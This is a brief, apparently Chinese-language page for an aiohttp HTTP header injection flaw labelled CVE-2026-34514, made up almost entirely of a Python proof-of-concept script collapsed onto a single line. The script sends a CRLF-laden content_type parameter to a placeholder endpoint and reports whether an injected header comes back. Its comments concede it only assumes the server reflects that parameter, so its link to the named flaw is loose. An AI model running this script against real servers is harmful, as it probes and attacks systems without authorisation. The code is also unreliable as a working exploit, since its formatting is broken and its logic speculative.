CVE-2026-34514 AIOHTTP HTTP头注入漏洞

import aiohttp import asyncio # PoC for HTTP Header Injection in aiohttp < 3.13.4 # This script demonstrates how a crafted Content-Type can inject headers. async def main(): url = 'http://vulnerable-endpoint/api' # Injecting CRLF characters (%0d%0a) to add a new header malicious_content_type = 'text/plain\r\nX-Injected-Header: POC-Value\r\nX-Another-Header: Test' headers = { 'User-Agent': 'PoC-Scanner', } # Assuming the endpoint takes 'content_type' as a query or body parameter # and passes it unsanitized to the response headers. params = { 'content_type': malicious_content_type } async with aiohttp.ClientSession() as session: try: async with session.get(url, params=params, headers=headers) as resp: print(f"Status: {resp.status}") print(f"Response Headers: {resp.headers}") # Check if the injected header is present in the response if 'X-Injected-Header' in resp.headers: print("[+] Vulnerability Confirmed: Header injected successfully!") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}") if __name__ == '__main__': asyncio.run(main())